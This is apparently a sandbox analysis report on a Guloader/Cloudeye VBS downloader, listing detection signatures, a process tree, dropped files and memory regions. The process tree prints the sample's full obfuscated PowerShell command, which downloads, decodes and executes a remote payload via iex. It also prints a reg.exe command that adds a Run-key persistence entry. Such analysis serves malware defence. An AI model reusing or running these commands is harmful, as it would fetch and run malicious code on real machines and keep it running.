Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/06/2024, 01:18

General

  • Target
    8028ef562bc9d2bd5035279b7cfd2abbd59ffb292b67a5a431379e2e5aa4b380.vbs
  • Size 187KB
  • Sample240630-bn2gcs1ere
  • SHA256 8028ef562bc9d2bd5035279b7cfd2abbd59ffb292b67a5a431379e2e5aa4b380
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8028ef562bc9d2bd5035279b7cfd2abbd59ffb292b67a5a431379e2e5aa4b380.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Cubito Afsnittenes8 Solbrsafters Snetykningen Vagtsommestes Sejls Observation Skaldyraflejringens Ricinelaidinic afforce Deloitte Gendarmere223 Baldrick uafrysteligt imbeciles Gozzard Burle Nosophobia Flydedokkers Turbokompressorerne Forpagtnigsafgifts Longways Strae blindsmmenes Cubito Afsnittenes8 Solbrsafters Snetykningen Vagtsommestes Sejls Observation Skaldyraflejringens Ricinelaidinic afforce Deloitte Gendarmere223 Baldrick uafrysteligt imbeciles Gozzard Burle Nosophobia Flydedokkers Turbokompressorerne Forpagtnigsafgifts Longways Strae blindsmmenes';If (${host}.CurrentCulture) {$Gbakkerne60++;}Function Selvforglemmelsen($Abampere){$spunky=$Abampere.Length-$Gbakkerne60;$tabelnavne='SUBsTRI';$tabelnavne+='ng';For( $Anguid=1;$Anguid -lt $spunky;$Anguid+=2){$Cubito+=$Abampere.$tabelnavne.Invoke( $Anguid, $Gbakkerne60);}$Cubito;}function Nordstenvind($Vimse){ & ($Guarantors21) ($Vimse);}$Retskredses=Selvforglemmelsen ' M,oHzNiSlKlCa /G5E.,0, ( W.iBn dAo wEsP hNST n1O0A.S0,;d W i n 6N4 ;S OxH6A4 ; Ar v :R1 2I1.. 0,)S G e.cRkeo./K2 0S1 0B0p1O0 1 .F i,rKe f o,x./T1s2B1f. 0T ';$Palletizer=Selvforglemmelsen 'MU sSe r -mASg.eMnUt ';$Vagtsommestes=Selvforglemmelsen '.h.t tOp.s.:,/O/TmWoCv iUe s mFagc k.tsaKl.kf.,c o,mO/ nAeKwIsD/ zBzOz /TRTe g l e r.nSeSs ..pmc.xS ';$Pugrees=Selvforglemmelsen 'O>A ';$Guarantors21=Selvforglemmelsen '.i eMx, ';$Miasmas='Skaldyraflejringens';$Stemmeurnernes109 = Selvforglemmelsen ' eAc h.o, ,%GaMp.pJd aAtUa %.\OD,a mHpCk oegTe nMd,e . O.v,em a& &P ae cahIo .t, ';Nordstenvind (Selvforglemmelsen 'A$BgSl oSb aDl.:MS e,cOobn d i.nNgF=V(.c m dK /.cw K$ SIt e,m.mRe uLr n.e.r n,e.s,1S0 9 )D ');Nordstenvind (Selvforglemmelsen '.$Gg l o bPaDlF:tS.n e,t.y,kAnIi nAg e,n =M$SV aFg,t sPoOmPmte sMt,e sN. sOpHlBi,tD(N$ PBuBgMr,e.eAs.)I ');Nordstenvind (Selvforglemmelsen 'T[FN.ePt .ES eUr v iUcZe P o iCn t MOa.n.a,gIeRr ]S:.: SHeFc ucr i tNy.PMrKo t o.cBoFlM =. P[ N eOt,.US eAc.upr i,tUyDPFrPo.tBo cHo.lKT y pEeE]R:D:,TLlSs 1.2K ');$Vagtsommestes=$Snetykningen[0];$nonagglutinator= (Selvforglemmelsen 'D$SgolUoUb aTlC:ZH,a bGs b uBr g e.rCe =,NJeKwM-EO,bSj e,cBt SFy sPtReUmK.SN estA.AWOeAb CUl.i ePn.t');$nonagglutinator+=$Seconding[1];Nordstenvind ($nonagglutinator);Nordstenvind (Selvforglemmelsen 'F$ HDaUb s b u rBg,e.r e..OHLe a dAePr.sN[ $EP aMlDlpeMt iEz e.r ]F=R$ R eStKsCk r.e dFsieKs ');$Daarekistelem=Selvforglemmelsen 'P$ HGaKbEsDbPu,r gde rkeS.OD oAwUnKl o,a,dWF iSlKe.( $ V.aNg.t s oCm,m eKs.tGe sN,F$CLSo nIgCwUa y sI), ';$Longways=$Seconding[0];Nordstenvind (Selvforglemmelsen 'P$bgBl.o bTa la: MPbReAl,p oJlFiCt usrFeAnF=,( T.e sItS-VP aDtGh d$SL o n gUw aAy sS)A ');while (!$Mbelpolituren) {Nordstenvind (Selvforglemmelsen 'B$HgMl o bPaSl.:.GPeonAnFeEmOp.r v eBtt=C$ t r u eG ') ;Nordstenvind $Daarekistelem;Nordstenvind (Selvforglemmelsen 'TSTtda rMtb-SSUl e eEpE F4T ');Nordstenvind (Selvforglemmelsen ',$ g l,o bEablV: MGb,e l.pCoNl.i t uFr e n = ( TGeTsLt -IPKa t h P$.LEoMn g wFa yDs,)R ') ;Nordstenvind (Selvforglemmelsen ' $ g l,oSb a lF:SS o l bAr.sMaefMt eCr sG=S$Kg.lDoCbIa lC:MAAfKs.n,i,tKt.eEn e,sS8U+F+ %,$BS,nDe,t yMk n iEn,g eHn .ScBoPu nFtA ') ;$Vagtsommestes=$Snetykningen[$Solbrsafters];}$Placentoid=334153;$Umuliggjordes143=26684;Nordstenvind (Selvforglemmelsen ' $ gSl oAbSa.l,:,RSi,c iAnse,l aSi.dNienFiSc I=, UGNeVt - C o.n t ennAtR A$.L,oSnSgRwoa,y s ');Nordstenvind (Selvforglemmelsen ' $ gPl o bHaSl.: KPrimOm eMr sPjsl e n s = B[DS y s.tGeOmU.SC.oKn v eRr,t ]L:D:SFVr o mVB,a sFeB6 4 S.tAr iCnTg (C$ RFi c.i nFe,l a,i,d.iKn iRc ). ');Nordstenvind (Selvforglemmelsen ' $ gKl o.bSaSl :RG e nVdGa r mPe rle 2,2C3 B= b[,SDy s t etmK. TSe,x.tF.GE.ndcMo d,iAnfgF]B: :HAHS C ISI . G.e t SCtmr i n gV( $MKTrDmPmUeIr s,j lSe,n sB)t ');Nordstenvind (Selvforglemmelsen 'c$Cg l o b,a lS:PW,oMrUl.dMissLhI2 5,5 =t$.GFeOn,dAa,rAm e.rPeU2K2,3 .,s u bCsRt,rUi nFg (g$HP l aScVe,n tgo.i.dN,C$JUAm.u.lti gsgsjMour dKeOs.1s4 3 )I ');Nordstenvind $Worldish255;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Dampkogende.Ove && echo t"
        3⤵
          PID:2624
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Cubito Afsnittenes8 Solbrsafters Snetykningen Vagtsommestes Sejls Observation Skaldyraflejringens Ricinelaidinic afforce Deloitte Gendarmere223 Baldrick uafrysteligt imbeciles Gozzard Burle Nosophobia Flydedokkers Turbokompressorerne Forpagtnigsafgifts Longways Strae blindsmmenes Cubito Afsnittenes8 Solbrsafters Snetykningen Vagtsommestes Sejls Observation Skaldyraflejringens Ricinelaidinic afforce Deloitte Gendarmere223 Baldrick uafrysteligt imbeciles Gozzard Burle Nosophobia Flydedokkers Turbokompressorerne Forpagtnigsafgifts Longways Strae blindsmmenes';If (${host}.CurrentCulture) {$Gbakkerne60++;}Function Selvforglemmelsen($Abampere){$spunky=$Abampere.Length-$Gbakkerne60;$tabelnavne='SUBsTRI';$tabelnavne+='ng';For( $Anguid=1;$Anguid -lt $spunky;$Anguid+=2){$Cubito+=$Abampere.$tabelnavne.Invoke( $Anguid, $Gbakkerne60);}$Cubito;}function Nordstenvind($Vimse){ & ($Guarantors21) ($Vimse);}$Retskredses=Selvforglemmelsen ' M,oHzNiSlKlCa /G5E.,0, ( W.iBn dAo wEsP hNST n1O0A.S0,;d W i n 6N4 ;S OxH6A4 ; Ar v :R1 2I1.. 0,)S G e.cRkeo./K2 0S1 0B0p1O0 1 .F i,rKe f o,x./T1s2B1f. 0T ';$Palletizer=Selvforglemmelsen 'MU sSe r -mASg.eMnUt ';$Vagtsommestes=Selvforglemmelsen '.h.t tOp.s.:,/O/TmWoCv iUe s mFagc k.tsaKl.kf.,c o,mO/ nAeKwIsD/ zBzOz /TRTe g l e r.nSeSs ..pmc.xS ';$Pugrees=Selvforglemmelsen 'O>A ';$Guarantors21=Selvforglemmelsen '.i eMx, ';$Miasmas='Skaldyraflejringens';$Stemmeurnernes109 = Selvforglemmelsen ' eAc h.o, ,%GaMp.pJd aAtUa %.\OD,a mHpCk oegTe nMd,e . O.v,em a& &P ae cahIo .t, ';Nordstenvind (Selvforglemmelsen 'A$BgSl oSb aDl.:MS e,cOobn d i.nNgF=V(.c m dK /.cw K$ SIt e,m.mRe uLr n.e.r n,e.s,1S0 9 )D ');Nordstenvind (Selvforglemmelsen '.$Gg l o bPaDlF:tS.n e,t.y,kAnIi nAg e,n =M$SV aFg,t sPoOmPmte sMt,e sN. sOpHlBi,tD(N$ PBuBgMr,e.eAs.)I ');Nordstenvind (Selvforglemmelsen 'T[FN.ePt .ES eUr v iUcZe P o iCn t MOa.n.a,gIeRr ]S:.: SHeFc ucr i tNy.PMrKo t o.cBoFlM =. P[ N eOt,.US eAc.upr i,tUyDPFrPo.tBo cHo.lKT y pEeE]R:D:,TLlSs 1.2K ');$Vagtsommestes=$Snetykningen[0];$nonagglutinator= (Selvforglemmelsen 'D$SgolUoUb aTlC:ZH,a bGs b uBr g e.rCe =,NJeKwM-EO,bSj e,cBt SFy sPtReUmK.SN estA.AWOeAb CUl.i ePn.t');$nonagglutinator+=$Seconding[1];Nordstenvind ($nonagglutinator);Nordstenvind (Selvforglemmelsen 'F$ HDaUb s b u rBg,e.r e..OHLe a dAePr.sN[ $EP aMlDlpeMt iEz e.r ]F=R$ R eStKsCk r.e dFsieKs ');$Daarekistelem=Selvforglemmelsen 'P$ HGaKbEsDbPu,r gde rkeS.OD oAwUnKl o,a,dWF iSlKe.( $ V.aNg.t s oCm,m eKs.tGe sN,F$CLSo nIgCwUa y sI), ';$Longways=$Seconding[0];Nordstenvind (Selvforglemmelsen 'P$bgBl.o bTa la: MPbReAl,p oJlFiCt usrFeAnF=,( T.e sItS-VP aDtGh d$SL o n gUw aAy sS)A ');while (!$Mbelpolituren) {Nordstenvind (Selvforglemmelsen 'B$HgMl o bPaSl.:.GPeonAnFeEmOp.r v eBtt=C$ t r u eG ') ;Nordstenvind $Daarekistelem;Nordstenvind (Selvforglemmelsen 'TSTtda rMtb-SSUl e eEpE F4T ');Nordstenvind (Selvforglemmelsen ',$ g l,o bEablV: MGb,e l.pCoNl.i t uFr e n = ( TGeTsLt -IPKa t h P$.LEoMn g wFa yDs,)R ') ;Nordstenvind (Selvforglemmelsen ' $ g l,oSb a lF:SS o l bAr.sMaefMt eCr sG=S$Kg.lDoCbIa lC:MAAfKs.n,i,tKt.eEn e,sS8U+F+ %,$BS,nDe,t yMk n iEn,g eHn .ScBoPu nFtA ') ;$Vagtsommestes=$Snetykningen[$Solbrsafters];}$Placentoid=334153;$Umuliggjordes143=26684;Nordstenvind (Selvforglemmelsen ' $ gSl oAbSa.l,:,RSi,c iAnse,l aSi.dNienFiSc I=, UGNeVt - C o.n t ennAtR A$.L,oSnSgRwoa,y s ');Nordstenvind (Selvforglemmelsen ' $ gPl o bHaSl.: KPrimOm eMr sPjsl e n s = B[DS y s.tGeOmU.SC.oKn v eRr,t ]L:D:SFVr o mVB,a sFeB6 4 S.tAr iCnTg (C$ RFi c.i nFe,l a,i,d.iKn iRc ). ');Nordstenvind (Selvforglemmelsen ' $ gKl o.bSaSl :RG e nVdGa r mPe rle 2,2C3 B= b[,SDy s t etmK. TSe,x.tF.GE.ndcMo d,iAnfgF]B: :HAHS C ISI . G.e t SCtmr i n gV( $MKTrDmPmUeIr s,j lSe,n sB)t ');Nordstenvind (Selvforglemmelsen 'c$Cg l o b,a lS:PW,oMrUl.dMissLhI2 5,5 =t$.GFeOn,dAa,rAm e.rPeU2K2,3 .,s u bCsRt,rUi nFg (g$HP l aScVe,n tgo.i.dN,C$JUAm.u.lti gsgsjMour dKeOs.1s4 3 )I ');Nordstenvind $Worldish255;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4476
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Dampkogende.Ove && echo t"
            4⤵
              PID:1724
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2912
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Femcifret% -w 1 $Nonchastity=(Get-ItemProperty -Path 'HKCU:\Phonemicize\').Horsefly;%Femcifret% ($Nonchastity)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3668
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Femcifret% -w 1 $Nonchastity=(Get-ItemProperty -Path 'HKCU:\Phonemicize\').Horsefly;%Femcifret% ($Nonchastity)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:4216

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            __PSScriptPolicyTest_h5qn4kbo.k5w.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h5qn4kbo.k5w.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            Dampkogende.Ove

            • Path C:\Users\Admin\AppData\Roaming\Dampkogende.Ove
            • Size 469KB
            • SHA256 ead9c28399d12285d17e0e2967f7d7473ce5e2359dc7f88605bc45fc5b92dfdd
            • MD5 SHA1 SHA512 SSDEEP

            memory/1472-10-0x0000015369C60000-0x0000015369C82000-memory.dmp

            memory/1472-15-0x00007FF8B0970000-0x00007FF8B1431000-memory.dmp

            memory/1472-16-0x00007FF8B0970000-0x00007FF8B1431000-memory.dmp

            memory/1472-4-0x00007FF8B0973000-0x00007FF8B0975000-memory.dmp

            memory/1472-52-0x00007FF8B0970000-0x00007FF8B1431000-memory.dmp

            memory/1472-45-0x00007FF8B0970000-0x00007FF8B1431000-memory.dmp

            memory/1472-43-0x00007FF8B0973000-0x00007FF8B0975000-memory.dmp

            memory/2912-49-0x0000000001660000-0x00000000049A0000-memory.dmp

            memory/4476-20-0x00000000056D0000-0x0000000005CF8000-memory.dmp

            memory/4476-40-0x00000000089A0000-0x0000000008F44000-memory.dmp

            memory/4476-35-0x00000000065B0000-0x00000000065FC000-memory.dmp

            memory/4476-36-0x0000000007D70000-0x00000000083EA000-memory.dmp

            memory/4476-37-0x0000000006AA0000-0x0000000006ABA000-memory.dmp

            memory/4476-38-0x00000000077E0000-0x0000000007876000-memory.dmp

            memory/4476-39-0x0000000007770000-0x0000000007792000-memory.dmp

            memory/4476-34-0x0000000006510000-0x000000000652E000-memory.dmp

            memory/4476-33-0x0000000005F10000-0x0000000006264000-memory.dmp

            memory/4476-42-0x0000000008F50000-0x000000000C290000-memory.dmp

            memory/4476-23-0x0000000005EA0000-0x0000000005F06000-memory.dmp

            memory/4476-22-0x0000000005E30000-0x0000000005E96000-memory.dmp

            memory/4476-21-0x0000000005680000-0x00000000056A2000-memory.dmp

            memory/4476-19-0x0000000004F00000-0x0000000004F36000-memory.dmp